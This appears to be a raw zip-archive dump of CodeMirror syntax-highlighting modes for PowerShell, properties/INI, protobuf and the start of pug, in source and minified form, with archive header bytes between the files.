  var notCharacterOrDash = '(?=[^A-Za-z\\d\\-_]|$)';
  var varNames = /[\w\-:]/
  var keywords = buildRegexp([
    /begin|break|catch|continue|data|default|do|dynamicparam/,
    /else|elseif|end|exit|filter|finally|for|foreach|from|function|if|in/,
    /param|process|return|switch|throw|trap|try|until|where|while/
  ], { suffix: notCharacterOrDash });

  var punctuation = /[\[\]{},;`\\\.]|@[({]/;
  var wordOperators = buildRegexp([
    'f',
    /b?not/,
    /[ic]?split/, 'join',
    /is(not)?/, 'as',
    /[ic]?(eq|ne|[gl][te])/,
    /[ic]?(not)?(like|match|contains)/,
    /[ic]?replace/,
    /b?(and|or|xor)/
  ], { prefix: '-' });
  var symbolOperators =
/[+\-*\/%]=|\+\+|--|\.\.|[+\-*&^%:=!|\/]|<(?!#)|(?!#)>/;
  var operators = buildRegexp([wordOperators, symbolOperators], { suffix:
'' });

  var numbers =
/^((0x[\da-f]+)|((\d+\.\d+|\d\.|\.\d+|\d+)(e[\+\-]?\d+)?))[ld]?([kmgtp]b)?/i;

  var identifiers = /^[A-Za-z\_][A-Za-z\-\_\d]*\b/;

  var symbolBuiltins = /[A-Z]:|%|\?/i;
  var namedBuiltins = buildRegexp([
    /Add-(Computer|Content|History|Member|PSSnapin|Type)/,
    /Checkpoint-Computer/,
    /Clear-(Content|EventLog|History|Host|Item(Property)?|Variable)/,
    /Compare-Object/,
    /Complete-Transaction/,
    /Connect-PSSession/,
    /ConvertFrom-(Csv|Json|SecureString|StringData)/,
    /Convert-Path/,
    /ConvertTo-(Csv|Html|Json|SecureString|Xml)/,
    /Copy-Item(Property)?/,
    /Debug-Process/,
   
/Disable-(ComputerRestore|PSBreakpoint|PSRemoting|PSSessionConfiguration)/,
    /Disconnect-PSSession/,
   
/Enable-(ComputerRestore|PSBreakpoint|PSRemoting|PSSessionConfiguration)/,
    /(Enter|Exit)-PSSession/,
   
/Export-(Alias|Clixml|Console|Counter|Csv|FormatData|ModuleMember|PSSession)/,
    /ForEach-Object/,
    /Format-(Custom|List|Table|Wide)/,
    new
RegExp('Get-(Acl|Alias|AuthenticodeSignature|ChildItem|Command|ComputerRestorePoint|Content|ControlPanelItem|Counter|Credential'
      +
'|Culture|Date|Event|EventLog|EventSubscriber|ExecutionPolicy|FormatData|Help|History|Host|HotFix|Item|ItemProperty|Job'
      +
'|Location|Member|Module|PfxCertificate|Process|PSBreakpoint|PSCallStack|PSDrive|PSProvider|PSSession|PSSessionConfiguration'
      +
'|PSSnapin|Random|Service|TraceSource|Transaction|TypeData|UICulture|Unique|Variable|Verb|WinEvent|WmiObject)'),
    /Group-Object/,
    /Import-(Alias|Clixml|Counter|Csv|LocalizedData|Module|PSSession)/,
    /ImportSystemModules/,
   
/Invoke-(Command|Expression|History|Item|RestMethod|WebRequest|WmiMethod)/,
    /Join-Path/,
    /Limit-EventLog/,
    /Measure-(Command|Object)/,
    /Move-Item(Property)?/,
    new
RegExp('New-(Alias|Event|EventLog|Item(Property)?|Module|ModuleManifest|Object|PSDrive|PSSession|PSSessionConfigurationFile'
      +
'|PSSessionOption|PSTransportOption|Service|TimeSpan|Variable|WebServiceProxy|WinEvent)'),
    /Out-(Default|File|GridView|Host|Null|Printer|String)/,
    /Pause/,
    /(Pop|Push)-Location/,
    /Read-Host/,
    /Receive-(Job|PSSession)/,
    /Register-(EngineEvent|ObjectEvent|PSSessionConfiguration|WmiEvent)/,
   
/Remove-(Computer|Event|EventLog|Item(Property)?|Job|Module|PSBreakpoint|PSDrive|PSSession|PSSnapin|TypeData|Variable|WmiObject)/,
    /Rename-(Computer|Item(Property)?)/,
    /Reset-ComputerMachinePassword/,
    /Resolve-Path/,
    /Restart-(Computer|Service)/,
    /Restore-Computer/,
    /Resume-(Job|Service)/,
    /Save-Help/,
    /Select-(Object|String|Xml)/,
    /Send-MailMessage/,
    new
RegExp('Set-(Acl|Alias|AuthenticodeSignature|Content|Date|ExecutionPolicy|Item(Property)?|Location|PSBreakpoint|PSDebug'
+
              
'|PSSessionConfiguration|Service|StrictMode|TraceSource|Variable|WmiInstance)'),
    /Show-(Command|ControlPanelItem|EventLog)/,
    /Sort-Object/,
    /Split-Path/,
    /Start-(Job|Process|Service|Sleep|Transaction|Transcript)/,
    /Stop-(Computer|Job|Process|Service|Transcript)/,
    /Suspend-(Job|Service)/,
    /TabExpansion2/,
    /Tee-Object/,
   
/Test-(ComputerSecureChannel|Connection|ModuleManifest|Path|PSSessionConfigurationFile)/,
    /Trace-Command/,
    /Unblock-File/,
    /Undo-Transaction/,
    /Unregister-(Event|PSSessionConfiguration)/,
    /Update-(FormatData|Help|List|TypeData)/,
    /Use-Transaction/,
    /Wait-(Event|Job|Process)/,
    /Where-Object/,
    /Write-(Debug|Error|EventLog|Host|Output|Progress|Verbose|Warning)/,
    /cd|help|mkdir|more|oss|prompt/,
   
/ac|asnp|cat|cd|chdir|clc|clear|clhy|cli|clp|cls|clv|cnsn|compare|copy|cp|cpi|cpp|cvpa|dbp|del|diff|dir|dnsn|ebp/,
   
/echo|epal|epcsv|epsn|erase|etsn|exsn|fc|fl|foreach|ft|fw|gal|gbp|gc|gci|gcm|gcs|gdr|ghy|gi|gjb|gl|gm|gmo|gp|gps/,
   
/group|gsn|gsnp|gsv|gu|gv|gwmi|h|history|icm|iex|ihy|ii|ipal|ipcsv|ipmo|ipsn|irm|ise|iwmi|iwr|kill|lp|ls|man|md/,
   
/measure|mi|mount|move|mp|mv|nal|ndr|ni|nmo|npssc|nsn|nv|ogv|oh|popd|ps|pushd|pwd|r|rbp|rcjb|rcsn|rd|rdr|ren|ri/,
   
/rjb|rm|rmdir|rmo|rni|rnp|rp|rsn|rsnp|rujb|rv|rvpa|rwmi|sajb|sal|saps|sasv|sbp|sc|select|set|shcm|si|sl|sleep|sls/,
   
/sort|sp|spjb|spps|spsv|start|sujb|sv|swmi|tee|trcm|type|where|wjb|write/
  ], { prefix: '', suffix: '' });
  var variableBuiltins = buildRegexp([
   
/[$?^_]|Args|ConfirmPreference|ConsoleFileName|DebugPreference|Error|ErrorActionPreference|ErrorView|ExecutionContext/,
   
/FormatEnumerationLimit|Home|Host|Input|MaximumAliasCount|MaximumDriveCount|MaximumErrorCount|MaximumFunctionCount/,
   
/MaximumHistoryCount|MaximumVariableCount|MyInvocation|NestedPromptLevel|OutputEncoding|Pid|Profile|ProgressPreference/,
   
/PSBoundParameters|PSCommandPath|PSCulture|PSDefaultParameterValues|PSEmailServer|PSHome|PSScriptRoot|PSSessionApplicationName/,
   
/PSSessionConfigurationName|PSSessionOption|PSUICulture|PSVersionTable|Pwd|ShellId|StackTrace|VerbosePreference/,
    /WarningPreference|WhatIfPreference/,

    /Event|EventArgs|EventSubscriber|Sender/,
    /Matches|Ofs|ForEach|LastExitCode|PSCmdlet|PSItem|PSSenderInfo|This/,
    /true|false|null/
  ], { prefix: '\\$', suffix: '' });

  var builtins = buildRegexp([symbolBuiltins, namedBuiltins,
variableBuiltins], { suffix: notCharacterOrDash });

  var grammar = {
    keyword: keywords,
    number: numbers,
    operator: operators,
    builtin: builtins,
    punctuation: punctuation,
    identifier: identifiers
  };

  // tokenizers
  function tokenBase(stream, state) {
    // Handle Comments
    //var ch = stream.peek();

    var parent = state.returnStack[state.returnStack.length - 1];
    if (parent && parent.shouldReturnFrom(state)) {
      state.tokenize = parent.tokenize;
      state.returnStack.pop();
      return state.tokenize(stream, state);
    }

    if (stream.eatSpace()) {
      return null;
    }

    if (stream.eat('(')) {
      state.bracketNesting += 1;
      return 'punctuation';
    }

    if (stream.eat(')')) {
      state.bracketNesting -= 1;
      return 'punctuation';
    }

    for (var key in grammar) {
      if (stream.match(grammar[key])) {
        return key;
      }
    }

    var ch = stream.next();

    // single-quote string
    if (ch === "'") {
      return tokenSingleQuoteString(stream, state);
    }

    if (ch === '$') {
      return tokenVariable(stream, state);
    }

    // double-quote string
    if (ch === '"') {
      return tokenDoubleQuoteString(stream, state);
    }

    if (ch === '<' && stream.eat('#')) {
      state.tokenize = tokenComment;
      return tokenComment(stream, state);
    }

    if (ch === '#') {
      stream.skipToEnd();
      return 'comment';
    }

    if (ch === '@') {
      var quoteMatch = stream.eat(/["']/);
      if (quoteMatch && stream.eol()) {
        state.tokenize = tokenMultiString;
        state.startQuote = quoteMatch[0];
        return tokenMultiString(stream, state);
      } else if (stream.eol()) {
        return 'error';
      } else if (stream.peek().match(/[({]/)) {
        return 'punctuation';
      } else if (stream.peek().match(varNames)) {
        // splatted variable
        return tokenVariable(stream, state);
      }
    }
    return 'error';
  }

  function tokenSingleQuoteString(stream, state) {
    var ch;
    while ((ch = stream.peek()) != null) {
      stream.next();

      if (ch === "'" &&
!stream.eat("'")) {
        state.tokenize = tokenBase;
        return 'string';
      }
    }

    return 'error';
  }

  function tokenDoubleQuoteString(stream, state) {
    var ch;
    while ((ch = stream.peek()) != null) {
      if (ch === '$') {
        state.tokenize = tokenStringInterpolation;
        return 'string';
      }

      stream.next();
      if (ch === '`') {
        stream.next();
        continue;
      }

      if (ch === '"' &&
!stream.eat('"')) {
        state.tokenize = tokenBase;
        return 'string';
      }
    }

    return 'error';
  }

  function tokenStringInterpolation(stream, state) {
    return tokenInterpolation(stream, state, tokenDoubleQuoteString);
  }

  function tokenMultiStringReturn(stream, state) {
    state.tokenize = tokenMultiString;
    state.startQuote = '"'
    return tokenMultiString(stream, state);
  }

  function tokenHereStringInterpolation(stream, state) {
    return tokenInterpolation(stream, state, tokenMultiStringReturn);
  }

  function tokenInterpolation(stream, state, parentTokenize) {
    if (stream.match('$(')) {
      var savedBracketNesting = state.bracketNesting;
      state.returnStack.push({
        /*jshint loopfunc:true */
        shouldReturnFrom: function(state) {
          return state.bracketNesting === savedBracketNesting;
        },
        tokenize: parentTokenize
      });
      state.tokenize = tokenBase;
      state.bracketNesting += 1;
      return 'punctuation';
    } else {
      stream.next();
      state.returnStack.push({
        shouldReturnFrom: function() { return true; },
        tokenize: parentTokenize
      });
      state.tokenize = tokenVariable;
      return state.tokenize(stream, state);
    }
  }

  function tokenComment(stream, state) {
    var maybeEnd = false, ch;
    while ((ch = stream.next()) != null) {
      if (maybeEnd && ch == '>') {
          state.tokenize = tokenBase;
          break;
      }
      maybeEnd = (ch === '#');
    }
    return 'comment';
  }

  function tokenVariable(stream, state) {
    var ch = stream.peek();
    if (stream.eat('{')) {
      state.tokenize = tokenVariableWithBraces;
      return tokenVariableWithBraces(stream, state);
    } else if (ch != undefined && ch.match(varNames)) {
      stream.eatWhile(varNames);
      state.tokenize = tokenBase;
      return 'variable-2';
    } else {
      state.tokenize = tokenBase;
      return 'error';
    }
  }

  function tokenVariableWithBraces(stream, state) {
    var ch;
    while ((ch = stream.next()) != null) {
      if (ch === '}') {
        state.tokenize = tokenBase;
        break;
      }
    }
    return 'variable-2';
  }

  function tokenMultiString(stream, state) {
    var quote = state.startQuote;
    if (stream.sol() && stream.match(new RegExp(quote +
'@'))) {
      state.tokenize = tokenBase;
    }
    else if (quote === '"') {
      while (!stream.eol()) {
        var ch = stream.peek();
        if (ch === '$') {
          state.tokenize = tokenHereStringInterpolation;
          return 'string';
        }

        stream.next();
        if (ch === '`') {
          stream.next();
        }
      }
    }
    else {
      stream.skipToEnd();
    }

    return 'string';
  }

  var external = {
    startState: function() {
      return {
        returnStack: [],
        bracketNesting: 0,
        tokenize: tokenBase
      };
    },

    token: function(stream, state) {
      return state.tokenize(stream, state);
    },

    blockCommentStart: '<#',
    blockCommentEnd: '#>',
    lineComment: '#',
    fold: 'brace'
  };
  return external;
});

CodeMirror.defineMIME('application/x-powershell',
'powershell');
});
PKJ��[XmyE��,codemirror/mode/powershell/powershell.min.jsnu�[���!(function(a){"use
strict";"object"==typeof
exports&&"object"==typeof
module?a(require("../../lib/codemirror")):"function"==typeof
define&&define.amd?define(["../../lib/codemirror"],a):a(window.CodeMirror)})((function(a){"use
strict";a.defineMode("powershell",(function(){function
a(a,b){b=b||{};for(var c=void 0!==b.prefix?b.prefix:"^",d=void
0!==b.suffix?b.suffix:"\\b",e=0;e<a.length;e++)a[e]instanceof
RegExp?a[e]=a[e].source:a[e]=a[e].replace(/[-\/\\^$*+?.()|[\]{}]/g,"\\$&");return
new
RegExp(c+"("+a.join("|")+")"+d,"i")}function
b(a,b){var
e=b.returnStack[b.returnStack.length-1];if(e&&e.shouldReturnFrom(b))return
b.tokenize=e.tokenize,b.returnStack.pop(),b.tokenize(a,b);if(a.eatSpace())return
null;if(a.eat("("))return
b.bracketNesting+=1,"punctuation";if(a.eat(")"))return
b.bracketNesting-=1,"punctuation";for(var f in
y)if(a.match(y[f]))return f;var g=a.next();if("'"===g)return
c(a,b);if("$"===g)return j(a,b);if('"'===g)return
d(a,b);if("<"===g&&a.eat("#"))return
b.tokenize=i,i(a,b);if("#"===g)return
a.skipToEnd(),"comment";if("@"===g){var
h=a.eat(/["']/);if(h&&a.eol())return
b.tokenize=l,b.startQuote=h[0],l(a,b);if(a.eol())return"error";if(a.peek().match(/[({]/))return"punctuation";if(a.peek().match(m))return
j(a,b)}return"error"}function c(a,c){for(var
d;null!=(d=a.peek());)if(a.next(),"'"===d&&!a.eat("'"))return
c.tokenize=b,"string";return"error"}function
d(a,c){for(var d;null!=(d=a.peek());){if("$"===d)return
c.tokenize=e,"string";if(a.next(),"`"!==d){if('"'===d&&!a.eat('"'))return
c.tokenize=b,"string"}else
a.next()}return"error"}function e(a,b){return h(a,b,d)}function
f(a,b){return b.tokenize=l,b.startQuote='"',l(a,b)}function
g(a,b){return h(a,b,f)}function h(a,c,d){if(a.match("$(")){var
e=c.bracketNesting;return
c.returnStack.push({shouldReturnFrom:function(a){return
a.bracketNesting===e},tokenize:d}),c.tokenize=b,c.bracketNesting+=1,"punctuation"}return
a.next(),c.returnStack.push({shouldReturnFrom:function(){return!0},tokenize:d}),c.tokenize=j,c.tokenize(a,c)}function
i(a,c){for(var
d,e=!1;null!=(d=a.next());){if(e&&">"==d){c.tokenize=b;break}e="#"===d}return"comment"}function
j(a,c){var d=a.peek();return
a.eat("{")?(c.tokenize=k,k(a,c)):void
0!=d&&d.match(m)?(a.eatWhile(m),c.tokenize=b,"variable-2"):(c.tokenize=b,"error")}function
k(a,c){for(var
d;null!=(d=a.next());)if("}"===d){c.tokenize=b;break}return"variable-2"}function
l(a,c){var d=c.startQuote;if(a.sol()&&a.match(new
RegExp(d+"@")))c.tokenize=b;else
if('"'===d)for(;!a.eol();){var
e=a.peek();if("$"===e)return
c.tokenize=g,"string";a.next(),"`"===e&&a.next()}else
a.skipToEnd();return"string"}var
m=/[\w\-:]/,n=a([/begin|break|catch|continue|data|default|do|dynamicparam/,/else|elseif|end|exit|filter|finally|for|foreach|from|function|if|in/,/param|process|return|switch|throw|trap|try|until|where|while/],{suffix:"(?=[^A-Za-z\\d\\-_]|$)"}),o=/[\[\]{},;`\\\.]|@[({]/,p=a(["f",/b?not/,/[ic]?split/,"join",/is(not)?/,"as",/[ic]?(eq|ne|[gl][te])/,/[ic]?(not)?(like|match|contains)/,/[ic]?replace/,/b?(and|or|xor)/],{prefix:"-"}),q=/[+\-*\/%]=|\+\+|--|\.\.|[+\-*&^%:=!|\/]|<(?!#)|(?!#)>/,r=a([p,q],{suffix:""}),s=/^((0x[\da-f]+)|((\d+\.\d+|\d\.|\.\d+|\d+)(e[\+\-]?\d+)?))[ld]?([kmgtp]b)?/i,t=/^[A-Za-z\_][A-Za-z\-\_\d]*\b/,u=/[A-Z]:|%|\?/i,v=a([/Add-(Computer|Content|History|Member|PSSnapin|Type)/,/Checkpoint-Computer/,/Clear-(Content|EventLog|History|Host|Item(Property)?|Variable)/,/Compare-Object/,/Complete-Transaction/,/Connect-PSSession/,/ConvertFrom-(Csv|Json|SecureString|StringData)/,/Convert-Path/,/ConvertTo-(Csv|Html|Json|SecureString|Xml)/,/Copy-Item(Property)?/,/Debug-Process/,/Disable-(ComputerRestore|PSBreakpoint|PSRemoting|PSSessionConfiguration)/,/Disconnect-PSSession/,/Enable-(ComputerRestore|PSBreakpoint|PSRemoting|PSSessionConfiguration)/,/(Enter|Exit)-PSSession/,/Export-(Alias|Clixml|Console|Counter|Csv|FormatData|ModuleMember|PSSession)/,/ForEach-Object/,/Format-(Custom|List|Table|Wide)/,new
RegExp("Get-(Acl|Alias|AuthenticodeSignature|ChildItem|Command|ComputerRestorePoint|Content|ControlPanelItem|Counter|Credential|Culture|Date|Event|EventLog|EventSubscriber|ExecutionPolicy|FormatData|Help|History|Host|HotFix|Item|ItemProperty|Job|Location|Member|Module|PfxCertificate|Process|PSBreakpoint|PSCallStack|PSDrive|PSProvider|PSSession|PSSessionConfiguration|PSSnapin|Random|Service|TraceSource|Transaction|TypeData|UICulture|Unique|Variable|Verb|WinEvent|WmiObject)"),/Group-Object/,/Import-(Alias|Clixml|Counter|Csv|LocalizedData|Module|PSSession)/,/ImportSystemModules/,/Invoke-(Command|Expression|History|Item|RestMethod|WebRequest|WmiMethod)/,/Join-Path/,/Limit-EventLog/,/Measure-(Command|Object)/,/Move-Item(Property)?/,new
RegExp("New-(Alias|Event|EventLog|Item(Property)?|Module|ModuleManifest|Object|PSDrive|PSSession|PSSessionConfigurationFile|PSSessionOption|PSTransportOption|Service|TimeSpan|Variable|WebServiceProxy|WinEvent)"),/Out-(Default|File|GridView|Host|Null|Printer|String)/,/Pause/,/(Pop|Push)-Location/,/Read-Host/,/Receive-(Job|PSSession)/,/Register-(EngineEvent|ObjectEvent|PSSessionConfiguration|WmiEvent)/,/Remove-(Computer|Event|EventLog|Item(Property)?|Job|Module|PSBreakpoint|PSDrive|PSSession|PSSnapin|TypeData|Variable|WmiObject)/,/Rename-(Computer|Item(Property)?)/,/Reset-ComputerMachinePassword/,/Resolve-Path/,/Restart-(Computer|Service)/,/Restore-Computer/,/Resume-(Job|Service)/,/Save-Help/,/Select-(Object|String|Xml)/,/Send-MailMessage/,new
RegExp("Set-(Acl|Alias|AuthenticodeSignature|Content|Date|ExecutionPolicy|Item(Property)?|Location|PSBreakpoint|PSDebug|PSSessionConfiguration|Service|StrictMode|TraceSource|Variable|WmiInstance)"),/Show-(Command|ControlPanelItem|EventLog)/,/Sort-Object/,/Split-Path/,/Start-(Job|Process|Service|Sleep|Transaction|Transcript)/,/Stop-(Computer|Job|Process|Service|Transcript)/,/Suspend-(Job|Service)/,/TabExpansion2/,/Tee-Object/,/Test-(ComputerSecureChannel|Connection|ModuleManifest|Path|PSSessionConfigurationFile)/,/Trace-Command/,/Unblock-File/,/Undo-Transaction/,/Unregister-(Event|PSSessionConfiguration)/,/Update-(FormatData|Help|List|TypeData)/,/Use-Transaction/,/Wait-(Event|Job|Process)/,/Where-Object/,/Write-(Debug|Error|EventLog|Host|Output|Progress|Verbose|Warning)/,/cd|help|mkdir|more|oss|prompt/,/ac|asnp|cat|cd|chdir|clc|clear|clhy|cli|clp|cls|clv|cnsn|compare|copy|cp|cpi|cpp|cvpa|dbp|del|diff|dir|dnsn|ebp/,/echo|epal|epcsv|epsn|erase|etsn|exsn|fc|fl|foreach|ft|fw|gal|gbp|gc|gci|gcm|gcs|gdr|ghy|gi|gjb|gl|gm|gmo|gp|gps/,/group|gsn|gsnp|gsv|gu|gv|gwmi|h|history|icm|iex|ihy|ii|ipal|ipcsv|ipmo|ipsn|irm|ise|iwmi|iwr|kill|lp|ls|man|md/,/measure|mi|mount|move|mp|mv|nal|ndr|ni|nmo|npssc|nsn|nv|ogv|oh|popd|ps|pushd|pwd|r|rbp|rcjb|rcsn|rd|rdr|ren|ri/,/rjb|rm|rmdir|rmo|rni|rnp|rp|rsn|rsnp|rujb|rv|rvpa|rwmi|sajb|sal|saps|sasv|sbp|sc|select|set|shcm|si|sl|sleep|sls/,/sort|sp|spjb|spps|spsv|start|sujb|sv|swmi|tee|trcm|type|where|wjb|write/],{prefix:"",suffix:""}),w=a([/[$?^_]|Args|ConfirmPreference|ConsoleFileName|DebugPreference|Error|ErrorActionPreference|ErrorView|ExecutionContext/,/FormatEnumerationLimit|Home|Host|Input|MaximumAliasCount|MaximumDriveCount|MaximumErrorCount|MaximumFunctionCount/,/MaximumHistoryCount|MaximumVariableCount|MyInvocation|NestedPromptLevel|OutputEncoding|Pid|Profile|ProgressPreference/,/PSBoundParameters|PSCommandPath|PSCulture|PSDefaultParameterValues|PSEmailServer|PSHome|PSScriptRoot|PSSessionApplicationName/,/PSSessionConfigurationName|PSSessionOption|PSUICulture|PSVersionTable|Pwd|ShellId|StackTrace|VerbosePreference/,/WarningPreference|WhatIfPreference/,/Event|EventArgs|EventSubscriber|Sender/,/Matches|Ofs|ForEach|LastExitCode|PSCmdlet|PSItem|PSSenderInfo|This/,/true|false|null/],{prefix:"\\$",suffix:""}),x=a([u,v,w],{suffix:"(?=[^A-Za-z\\d\\-_]|$)"}),y={keyword:n,number:s,operator:r,builtin:x,punctuation:o,identifier:t};return{startState:function(){return{returnStack:[],bracketNesting:0,tokenize:b}},token:function(a,b){return
b.tokenize(a,b)},blockCommentStart:"<#",blockCommentEnd:"#>",lineComment:"#",fold:"brace"}})),a.defineMIME("application/x-powershell","powershell")}));PKJ��[5�Û||(codemirror/mode/properties/properties.jsnu�[���//
CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: https://codemirror.net/LICENSE

(function(mod) {
  if (typeof exports == "object" && typeof module ==
"object") // CommonJS
    mod(require("../../lib/codemirror"));
  else if (typeof define == "function" && define.amd) //
AMD
    define(["../../lib/codemirror"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
"use strict";

CodeMirror.defineMode("properties", function() {
  return {
    token: function(stream, state) {
      var sol = stream.sol() || state.afterSection;
      var eol = stream.eol();

      state.afterSection = false;

      if (sol) {
        if (state.nextMultiline) {
          state.inMultiline = true;
          state.nextMultiline = false;
        } else {
          state.position = "def";
        }
      }

      if (eol && ! state.nextMultiline) {
        state.inMultiline = false;
        state.position = "def";
      }

      if (sol) {
        while(stream.eatSpace()) {}
      }

      var ch = stream.next();

      if (sol && (ch === "#" || ch === "!" ||
ch === ";")) {
        state.position = "comment";
        stream.skipToEnd();
        return "comment";
      } else if (sol && ch === "[") {
        state.afterSection = true;
        stream.skipTo("]"); stream.eat("]");
        return "header";
      } else if (ch === "=" || ch === ":") {
        state.position = "quote";
        return null;
      } else if (ch === "\\" && state.position ===
"quote") {
        if (stream.eol()) {  // end of line?
          // Multiline value
          state.nextMultiline = true;
        }
      }

      return state.position;
    },

    startState: function() {
      return {
        position : "def",       // Current position,
"def", "quote" or "comment"
        nextMultiline : false,  // Is the next line multiline value
        inMultiline : false,    // Is the current line a multiline value
        afterSection : false    // Did we just open a section
      };
    }

  };
});

CodeMirror.defineMIME("text/x-properties",
"properties");
CodeMirror.defineMIME("text/x-ini", "properties");

});
PKJ��[��2���,codemirror/mode/properties/properties.min.jsnu�[���!(function(a){"object"==typeof
exports&&"object"==typeof
module?a(require("../../lib/codemirror")):"function"==typeof
define&&define.amd?define(["../../lib/codemirror"],a):a(CodeMirror)})((function(a){"use
strict";a.defineMode("properties",(function(){return{token:function(a,b){var
c=a.sol()||b.afterSection,d=a.eol();if(b.afterSection=!1,c&&(b.nextMultiline?(b.inMultiline=!0,b.nextMultiline=!1):b.position="def"),d&&!b.nextMultiline&&(b.inMultiline=!1,b.position="def"),c)for(;a.eatSpace(););var
e=a.next();return!c||"#"!==e&&"!"!==e&&";"!==e?c&&"["===e?(b.afterSection=!0,a.skipTo("]"),a.eat("]"),"header"):"="===e||":"===e?(b.position="quote",null):("\\"===e&&"quote"===b.position&&a.eol()&&(b.nextMultiline=!0),b.position):(b.position="comment",a.skipToEnd(),"comment")},startState:function(){return{position:"def",nextMultiline:!1,inMultiline:!1,afterSection:!1}}}})),a.defineMIME("text/x-properties","properties"),a.defineMIME("text/x-ini","properties")}));PKJ��[DƮ��$codemirror/mode/protobuf/protobuf.jsnu�[���//
CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: https://codemirror.net/LICENSE

(function(mod) {
  if (typeof exports == "object" && typeof module ==
"object") // CommonJS
    mod(require("../../lib/codemirror"));
  else if (typeof define == "function" && define.amd) //
AMD
    define(["../../lib/codemirror"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
  "use strict";

  function wordRegexp(words) {
    return new RegExp("^((" + words.join(")|(") +
"))\\b", "i");
  };

  var keywordArray = [
    "package", "message", "import",
"syntax",
    "required", "optional", "repeated",
"reserved", "default", "extensions",
"packed",
    "bool", "bytes", "double",
"enum", "float", "string",
    "int32", "int64", "uint32",
"uint64", "sint32", "sint64",
"fixed32", "fixed64", "sfixed32",
"sfixed64",
    "option", "service", "rpc",
"returns"
  ];
  var keywords = wordRegexp(keywordArray);

  CodeMirror.registerHelper("hintWords", "protobuf",
keywordArray);

  var identifiers = new
RegExp("^[_A-Za-z\xa1-\uffff][_A-Za-z0-9\xa1-\uffff]*");

  function tokenBase(stream) {
    // whitespaces
    if (stream.eatSpace()) return null;

    // Handle one line Comments
    if (stream.match("//")) {
      stream.skipToEnd();
      return "comment";
    }

    // Handle Number Literals
    if (stream.match(/^[0-9\.+-]/, false)) {
      if (stream.match(/^[+-]?0x[0-9a-fA-F]+/))
        return "number";
      if (stream.match(/^[+-]?\d*\.\d+([EeDd][+-]?\d+)?/))
        return "number";
      if (stream.match(/^[+-]?\d+([EeDd][+-]?\d+)?/))
        return "number";
    }

    // Handle Strings
    if (stream.match(/^"([^"]|(""))*"/)) { return
"string"; }
    if (stream.match(/^'([^']|(''))*'/)) { return
"string"; }

    // Handle words
    if (stream.match(keywords)) { return "keyword"; }
    if (stream.match(identifiers)) { return "variable"; } ;

    // Handle non-detected items
    stream.next();
    return null;
  };

  CodeMirror.defineMode("protobuf", function() {
    return {
      token: tokenBase,
      fold: "brace"
    };
  });

  CodeMirror.defineMIME("text/x-protobuf", "protobuf");
});
PKJ��[������(codemirror/mode/protobuf/protobuf.min.jsnu�[���!(function(a){"object"==typeof
exports&&"object"==typeof
module?a(require("../../lib/codemirror")):"function"==typeof
define&&define.amd?define(["../../lib/codemirror"],a):a(CodeMirror)})((function(a){"use
strict";function b(a){if(a.eatSpace())return
null;if(a.match("//"))return
a.skipToEnd(),"comment";if(a.match(/^[0-9\.+-]/,!1)){if(a.match(/^[+-]?0x[0-9a-fA-F]+/))return"number";if(a.match(/^[+-]?\d*\.\d+([EeDd][+-]?\d+)?/))return"number";if(a.match(/^[+-]?\d+([EeDd][+-]?\d+)?/))return"number"}return
a.match(/^"([^"]|(""))*"/)?"string":a.match(/^'([^']|(''))*'/)?"string":a.match(d)?"keyword":a.match(e)?"variable":(a.next(),null)}var
c=["package","message","import","syntax","required","optional","repeated","reserved","default","extensions","packed","bool","bytes","double","enum","float","string","int32","int64","uint32","uint64","sint32","sint64","fixed32","fixed64","sfixed32","sfixed64","option","service","rpc","returns"],d=(function(a){return
new
RegExp("^(("+a.join(")|(")+"))\\b","i")})(c);a.registerHelper("hintWords","protobuf",c);var
e=new
RegExp("^[_A-Za-z¡-￿][_A-Za-z0-9¡-￿]*");a.defineMode("protobuf",(function(){return{token:b,fold:"brace"}})),a.defineMIME("text/x-protobuf","protobuf")}));PKJ��[��Rw>w>codemirror/mode/pug/pug.jsnu�[���//
CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: https://codemirror.net/LICENSE

(function(mod) {
  if (typeof exports == "object" && typeof module ==
"object") // CommonJS
    mod(require("../../lib/codemirror"),
require("../javascript/javascript"),
require("../css/css"),
require("../htmlmixed/htmlmixed"));
  else if (typeof define == "function" && define.amd) //
AMD
    define(["../../lib/codemirror",
"../javascript/javascript", "../css/css",
"../htmlmixed/htmlmixed"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
"use strict";

CodeMirror.defineMode("pug", function (config) {
  // token types
  var KEYWORD = 'keyword';
  var DOCTYPE = 'meta';
  var ID = 'builtin';
  var CLASS = 'qualifier';

  var ATTRS_NEST = {
    '{': '}',
    '(': ')',
    '[': ']'
  };

  var jsMode = CodeMirror.getMode(config, 'javascript');

  function State() {
    this.javaScriptLine = false;
    this.javaScriptLineExcludesColon = false;

    this.javaScriptArguments = false;
    this.javaScriptArgumentsDepth = 0;

    this.isInterpolating = false;
    this.interpolationNesting = 0;

    this.jsState = CodeMirror.startState(jsMode);

    this.restOfLine = '';

    this.isIncludeFiltered = false;
    this.isEach = false;

    this.lastTag = '';
    this.scriptType = '';

    // Attributes Mode
    this.isAttrs = false;
    this.attrsNest = [];
    this.inAttributeName = true;
    this.attributeIsType = false;
    this.attrValue = '';

    // Indented Mode
    this.indentOf = Infinity;
    this.indentToken = '';

    this.innerMode = null;
    this.innerState = null;

    this.innerModeForLine = false;
  }
  /**
   * Safely copy a state
   *
   * @return {State}
   */
  State.prototype.copy = function () {
    var res = new State();
    res.javaScriptLine = this.javaScriptLine;
    res.javaScriptLineExcludesColon = this.javaScriptLineExcludesColon;
    res.javaScriptArguments = this.javaScriptArguments;
    res.javaScriptArgumentsDepth = this.javaScriptArgumentsDepth;
    res.isInterpolating = this.isInterpolating;
    res.interpolationNesting = this.interpolationNesting;

    res.jsState = CodeMirror.copyState(jsMode, this.jsState);

    res.innerMode = this.innerMode;
    if (this.innerMode && this.innerState) {
      res.innerState = CodeMirror.copyState(this.innerMode,
this.innerState);
    }

    res.restOfLine = this.restOfLine;

    res.isIncludeFiltered = this.isIncludeFiltered;
    res.isEach = this.isEach;
    res.lastTag = this.lastTag;
    res.scriptType = this.scriptType;
    res.isAttrs = this.isAttrs;
    res.attrsNest = this.attrsNest.slice();
    res.inAttributeName = this.inAttributeName;
    res.attributeIsType = this.attributeIsType;
